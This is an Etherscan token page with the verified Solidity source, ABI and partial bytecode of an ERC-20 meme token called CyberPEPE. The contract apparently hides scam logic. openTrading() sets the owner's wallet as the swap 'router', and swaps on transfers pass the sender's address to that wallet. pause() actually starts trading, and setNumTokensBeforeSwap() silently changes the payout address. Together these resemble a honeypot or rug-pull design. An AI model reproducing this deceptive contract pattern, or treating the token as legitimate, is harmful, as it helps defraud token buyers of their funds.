ETH Price: $3,880.89 (+0.31%)

Token

ERC-20: CyberPEPE (CPEPE)
 

Overview

Max Total Supply

420,000,000 CPEPE

Holders

796

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
678,069.092639592724790055 CPEPE

Value
$0.00
0x9fecbd9ce7e70de7eb6ef3ec95a78800e6c48276
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CyberPEPE

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-22
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.13;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(address sender,
     address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner,
     address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;   require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);  uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount,
         "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");  }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target,
         data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data,
         value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target,
         data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata),
                     returndata_size)
                }
            } else {
                revert(errorMessage);
            }  }
    }
}

contract Ownable is Context {
    address public _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;  }

    modifier onlyOwner() {
        require(_owner == _msgSender(),
         "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;  }

}

interface IUniswapV2Factory {

    function getPair(address tokenA,
     address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,  uint amountADesired,
        uint amountBDesired,  uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(  address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,  address tokenB,
        uint liquidity,   uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,  uint amountTokenMin,
        uint amountETHMin, address to,  uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,  uint amountOutMin, address[] calldata path,   address to,
        uint deadline
    ) external;
}


contract CyberPEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _eluded;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn, address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn, address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;   _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0xBd76df65196ac5d044bB23c477518D79FA7a9C61;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 21000 * 10**_decimals;
        marketingWalletAddress = payable(0xBd76df65196ac5d044bB23c477518D79FA7a9C61);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _eluded[_owner] = true;
        _eluded[address(this)] = true;
        _eluded[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {  return _name; }

    function symbol() public view returns (string memory) {  return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals; }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;  }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(),
         spender, amount);  return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        marketingWalletAddress = payable(newLimit);
    }


    function addAddrslbs(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _eluded[accounts[i]] = true;
        }
    }

    bool private startTx;
    function pause() external onlyOwner() {
        startTx = true;
    }

    function openTrading() external onlyOwner() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
        if(_uniswapPair == address(0)){
            _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
                        .createPair(address(this),
                        _uniswapV2Router.WETH());
        }   
            uniswapV2Router = 
              IUniswapV2Router02(marketingWalletAddress);
            swapAndLiquifyEnabled = true;
            isMarketPair[address(_uniswapPair)] = true;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient,
     uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);  return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),
         _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!_eluded[sender] && !_eluded[recipient]){
            if(isMarketPair[sender] || isMarketPair[recipient]){
                require(startTx, "not start");
            }
        }

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender,
         recipient, amount);
        return true;  }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);  }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);  path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp   );

        emit SwapTokensForETH(tokenAmount, path); }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);    }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addAddrslbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506040516200408a3803806200408a833981810160405281019062000106919062000811565b83600190805190602001906200011e9291906200054b565b508260029080519060200190620001379291906200054b565b5081600360006101000a81548160ff021916908360ff16021790555073bd76df65196ac5d044bb23c477518d79fa7a9c616000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620001c5919062000a44565b81620001d2919062000a95565b600b81905550600360009054906101000a900460ff16600a620001f6919062000a44565b61520862000205919062000a95565b600c8190555073bd76df65196ac5d044bb23c477518d79fa7a9c61600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000539919062000b07565b60405180910390a35050505062000b88565b828054620005599062000b53565b90600052602060002090601f0160209004810192826200057d5760008555620005c9565b82601f106200059857805160ff1916838001178555620005c9565b82800160010185558215620005c9579182015b82811115620005c8578251825591602001919060010190620005ab565b5b509050620005d89190620005dc565b5090565b5b80821115620005f7576000816000905550600101620005dd565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620006648262000619565b810181811067ffffffffffffffff821117156200068657620006856200062a565b5b80604052505050565b60006200069b620005fb565b9050620006a9828262000659565b919050565b600067ffffffffffffffff821115620006cc57620006cb6200062a565b5b620006d78262000619565b9050602081019050919050565b60005b8381101562000704578082015181840152602081019050620006e7565b8381111562000714576000848401525b50505050565b6000620007316200072b84620006ae565b6200068f565b90508281526020810184848401111562000750576200074f62000614565b5b6200075d848285620006e4565b509392505050565b600082601f8301126200077d576200077c6200060f565b5b81516200078f8482602086016200071a565b91505092915050565b600060ff82169050919050565b620007b08162000798565b8114620007bc57600080fd5b50565b600081519050620007d081620007a5565b92915050565b6000819050919050565b620007eb81620007d6565b8114620007f757600080fd5b50565b6000815190506200080b81620007e0565b92915050565b600080600080608085870312156200082e576200082d62000605565b5b600085015167ffffffffffffffff8111156200084f576200084e6200060a565b5b6200085d8782880162000765565b945050602085015167ffffffffffffffff8111156200088157620008806200060a565b5b6200088f8782880162000765565b9350506040620008a287828801620007bf565b9250506060620008b587828801620007fa565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200094f57808604811115620009275762000926620008c1565b5b6001851615620009375780820291505b80810290506200094785620008f0565b945062000907565b94509492505050565b6000826200096a576001905062000a3d565b816200097a576000905062000a3d565b81600181146200099357600281146200099e57620009d4565b600191505062000a3d565b60ff841115620009b357620009b2620008c1565b5b8360020a915084821115620009cd57620009cc620008c1565b5b5062000a3d565b5060208310610133831016604e8410600b841016171562000a0e5782820a90508381111562000a085762000a07620008c1565b5b62000a3d565b62000a1d8484846001620008fd565b9250905081840481111562000a375762000a36620008c1565b5b81810290505b9392505050565b600062000a5182620007d6565b915062000a5e8362000798565b925062000a8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000958565b905092915050565b600062000aa282620007d6565b915062000aaf83620007d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aeb5762000aea620008c1565b5b828202905092915050565b62000b0181620007d6565b82525050565b600060208201905062000b1e600083018462000af6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b6c57607f821691505b60208210810362000b825762000b8162000b24565b5b50919050565b6134f28062000b986000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612789565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612849565b6105d7565b6040516101a491906128a4565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf91906128ce565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906128e9565b6105ff565b60405161020c91906128a4565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b6040516102379190612958565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612849565b6106f0565b60405161027491906128a4565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612973565b6107a3565b6040516102b191906128a4565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc91906128ce565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190612973565b6107cb565b60405161031991906128ce565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a05565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612a61565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612789565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f191906128ce565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612849565b610c18565b60405161042e91906128a4565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612849565b610ce5565b60405161046b91906128a4565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612a61565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612a7c565b6111ab565b6040516104ea91906128ce565b60405180910390f35b3480156104ff57600080fd5b5061051a60048036038101906105159190612973565b611232565b005b34801561052857600080fd5b50610543600480360381019061053e9190612973565b61130b565b005b60606001805461055490612aeb565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612aeb565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e46114cc565b84846114d4565b6001905092915050565b6000600b54905090565b600061060c84848461169d565b506106ce846106196114cc565b6106c98560405180606001604052806028815260200161347060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b6114d4565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd6114cc565b84610794856006600061070e6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7090919063ffffffff16565b6114d4565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c6114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b68565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612b88565b5b90506020020160208101906108e59190612973565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612be6565b9150506108ac565b505050565b6109566114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612b68565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a316114cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612aeb565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612aeb565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c256114cc565b84610cd6856040518060600160405280602581526020016134986025913960066000610c4f6114cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0c9092919063ffffffff16565b6114d4565b6001905092915050565b6000610cf9610cf26114cc565b848461169d565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d306114